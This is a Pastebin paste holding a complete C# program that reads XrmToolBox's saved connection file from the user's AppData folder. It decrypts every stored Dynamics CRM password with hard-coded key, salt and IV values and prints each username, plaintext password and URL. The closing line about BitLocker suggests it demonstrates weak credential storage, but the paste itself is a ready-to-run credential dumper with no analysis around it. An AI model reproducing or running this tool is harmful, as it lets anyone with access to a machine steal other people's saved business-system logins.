Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.IO;
- using System.Linq;
- using System.Security.Cryptography;
- using System.Text;
- using System.Xml.Linq;
- namespace XrmToolBoxDecryptor
- {
- class CryptManager
- {
- public static string Decrypt(string cipherText,
- string passPhrase,
- string saltValue,
- string hashAlgorithm,
- int passwordIterations,
- string initVector,
- int keySize)
- {
- byte[] initVectorBytes = Encoding.ASCII.GetBytes(initVector);
- byte[] saltValueBytes = Encoding.ASCII.GetBytes(saltValue);
- byte[] cipherTextBytes = Convert.FromBase64String(cipherText);
- PasswordDeriveBytes password = new PasswordDeriveBytes(
- passPhrase,
- saltValueBytes,
- hashAlgorithm,
- passwordIterations);
- byte[] keyBytes = password.GetBytes(keySize / 8);
- RijndaelManaged symmetricKey = new RijndaelManaged();
- symmetricKey.Mode = CipherMode.CBC;
- ICryptoTransform decryptor = symmetricKey.CreateDecryptor(
- keyBytes,
- initVectorBytes);
- MemoryStream memoryStream = new MemoryStream(cipherTextBytes);
- CryptoStream cryptoStream = new CryptoStream(memoryStream,
- decryptor,
- CryptoStreamMode.Read);
- byte[] plainTextBytes = new byte[cipherTextBytes.Length];
- int decryptedByteCount = cryptoStream.Read(plainTextBytes,
- 0,
- plainTextBytes.Length);
- memoryStream.Close();
- cryptoStream.Close();
- string plainText = Encoding.UTF8.GetString(plainTextBytes,
- 0,
- decryptedByteCount);
- return plainText;
- }
- }
- public class Program
- {
- internal const string CryptoHashAlgorythm = "SHA1";
- internal const string CryptoInitVector = "ahC3@bCa2Didfc3d";
- internal const int CryptoKeySize = 256;
- internal const string CryptoPassPhrase = "MsCrmTools";
- internal const int CryptoPasswordIterations = 2;
- internal const string CryptoSaltValue = "Tanguy 92*";
- private const string DefaultConfigFileName = "mscrmtools2011.config";
- static void Main(string[] args)
- {
- var filePath = $"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}/MscrmTools/XrmToolBox/Connections/ConnectionsList.Default.xml";
- if (!File.Exists(filePath))
- {
- Console.WriteLine("Failed to find connection file");
- return;
- }
- var file = File.ReadAllText(filePath);
- var connections = XDocument.Parse(file);
- var passwordConnections = connections
- .Descendants("ConnectionDetail")
- .Where(d => bool.Parse(d.Descendants("SavePassword").FirstOrDefault().Value))
- .ToList();
- if (passwordConnections.Count < 1)
- {
- Console.WriteLine("No passwords saved");
- return;
- }
- Console.WriteLine($"Found the following {passwordConnections.Count} passwords:");
- foreach (var connection in passwordConnections)
- {
- var password = connection.Element("UserPassword").Value;
- var decrypted = CryptManager.Decrypt(password,
- CryptoPassPhrase,
- CryptoSaltValue,
- CryptoHashAlgorythm,
- CryptoPasswordIterations,
- CryptoInitVector,
- CryptoKeySize);
- Console.WriteLine($"Username: {connection.Element("UserName").Value}");
- Console.WriteLine($"Password: {decrypted}");
- Console.WriteLine($"URL: {connection.Element("OriginalUrl").Value}");
- Console.WriteLine();
- }
- Console.WriteLine("That's it, don't lose your notebook without Bitlocker. Press any key to exit.");
- Console.ReadKey();
- }
- }
- }
Add Comment
Please, Sign In to add comment